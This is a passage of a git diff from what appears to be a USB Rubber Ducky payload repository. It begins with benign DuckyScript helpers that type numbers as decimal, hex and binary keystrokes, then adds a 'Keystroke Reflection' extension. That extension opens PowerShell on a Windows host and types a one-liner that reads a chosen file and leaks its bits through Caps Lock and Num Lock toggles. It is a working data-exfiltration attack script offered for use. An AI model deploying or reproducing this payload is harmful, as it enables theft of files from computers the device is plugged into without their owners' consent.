THEN + STRING 2 + ELSE IF ($D == 3) THEN + STRING 3 + ELSE IF ($D == 4) THEN + STRING 4 + ELSE IF ($D == 5) THEN + STRING 5 + ELSE IF ($D == 6) THEN + STRING 6 + ELSE IF ($D == 7) THEN + STRING 7 + ELSE IF ($D == 8) THEN + STRING 8 + ELSE IF ($D == 9) THEN + STRING 9 + ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN + IF ($D == 10) THEN + STRING A + ELSE IF ($D == 11) THEN + STRING B + ELSE IF ($D == 12) THEN + STRING C + ELSE IF ($D == 13) THEN + STRING D + ELSE IF ($D == 14) THEN + STRING E + ELSE IF ($D == 15) THEN + STRING F + END_IF + ELSE + STRING ? + END_IF + END_FUNCTION + + REM REQUIRED for INT/HEX- consumes a character / place from the input + FUNCTION CONSUME() + $D = 0 + WHILE ($INPUT >= $MOD) + $D = ($D + 1) + $INPUT = ($INPUT - $MOD) + END_WHILE + IF (($D > 0) || ($P == TRUE)) THEN + $P = TRUE + PRINTDIGIT() + END_IF + END_FUNCTION + + REM ENDIAN SWAPPER helper, (useful for working with VID/PID) + FUNCTION SWAP_ENDIAN() + $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00)) + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a DECIMAL string representation + FUNCTION TRANSLATE_INT() + $DIGIT_PRINT_MODE = PRINT_INT + $P = FALSE + IF ( $INPUT >= 10000) THEN + $MOD = 10000 + CONSUME() + END_IF + IF (($INPUT >= 1000) || ($P == TRUE)) THEN + $MOD = 1000 + CONSUME() + END_IF + IF (($INPUT >= 100) || ($P == TRUE)) THEN + $MOD = 100 + CONSUME() + END_IF + IF (($INPUT >= 10) || ($P == TRUE)) THEN + $MOD = 10 + CONSUME() + END_IF() + $D = $INPUT + PRINTDIGIT() + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed boolean type and attempts to convert + REM and inject a BOOLEAN string representation + FUNCTION TRANSLATE_BOOL() + IF $INPUT THEN + STRING TRUE + ELSE + STRING FALSE + END_IF + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a HEX string representation + FUNCTION TRANSLATE_HEX() + $DIGIT_PRINT_MODE = PRINT_HEX + VAR $chars = 0 + VAR $d1 = 0 + VAR $d2 = 0 + VAR $d3 = 0 + VAR $d4 = 0 + WHILE ($INPUT > 0) + IF ($chars == 0) THEN + $d1 = ($INPUT % 16) + ELSE IF ($chars == 1) THEN + $d2 = ($INPUT % 16) + ELSE IF ($chars == 2) THEN + $d3 = ($INPUT % 16) + ELSE IF ($chars == 3) THEN + $d4 = ($INPUT % 16) + END_IF + $chars = ($chars + 1) + $INPUT = ($INPUT / 16) + END_WHILE + VAR $i = 0 + STRING 0x + IF ($chars == 0) THEN + STRING 0x0000 + ELSE IF ($chars == 1) THEN + STRING 000 + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 2) THEN + STRING 00 + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 3) THEN + STRING 0 + $D = $d3 + PRINTDIGIT() + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 4) THEN + STRING 0 + $D = $d4 + PRINTDIGIT() + $D = $d3 + PRINTDIGIT() + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + END_IF + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a BINARY string representation + FUNCTION TRANSLATE_BINARY() + VAR $I = 16 + WHILE ( $I > 0 ) + $I = ($I - 1) + IF (($INPUT & 0x8000) == 0 ) THEN + STRING 0 + ELSE + STRING 1 + END_IF + $INPUT = ($INPUT << 1) + END_WHILE + IF $NL THEN + ENTER + END_IF + END_FUNCTION END_EXTENSION diff --git a/payloads/extensions/windows_hid_exfil.txt b/payloads/extensions/windows_hid_exfil.txt new file mode 100644 index 0000000..d382380 --- /dev/null +++ b/payloads/extensions/windows_hid_exfil.txt @@ -0,0 +1,51 @@ +EXTENSION WINDOWS_HID_EXFIL + REM VERSION 1.0 + + REM Helpers for Keystroke Reflection data exfiltration + REM This payload is a proof of concept for USB HID only Data Exfiltration + + REM TARGET: + REM Windows Hostthat supports powershell and SendKeys + + REM USAGE: + REM Uncomment the function call below to run this extension inline + REM or call RUN_EXFIL() anywhere in your payload after the extension + + REM DEPLOYMENT: + REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green. + + REM CONFIGURATION: + REM File on host machine to exfil using Keystroke Reflection attack + DEFINE TARGET_FILE filename.txt + FUNCTION RUN_WINDOWS_EXFIL() + REM Boot + LED_OFF + DELAY 500 + REM Launch Windows RUN dialog + GUI r + DELAY 50 + REM Launch powershell + STRING powershell + ENTER + DELAY 250 + REM Save HOSTs current lock state + SAVE_HOST_KEYBOARD_LOCK_STATE + REM Start Listening - Enable EXFIL mode, Enable EXFIL mode for Device LEDS + $_EXFIL_MODE_ENABLED = TRUE + $_EXFIL_LEDS_ENABLED = TRUE + REM Convert and reflect target file + STRING foreach($b in $(Get-Content "TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit; + ENTER + REM Listen for EOF + WAIT_FOR_SCROLL_CHANGE + REM Indicate SUCCESS on Device LED, Disable EXFIL mode + LED_G + $_EXFIL_MODE_ENABLED = FALSE + REM Restore HOSTs lock state to original + RESTORE_HOST_KEYBOARD_LOCK_STATE + END_FUNCTION + + REM Uncomment the function call below to run this extension inline (here) + REM or call RUN_WINDOWS_EXFIL() anywhere in your payload after the extension + REM RUN_WINDOWS_EXFIL() +END_EXTENSION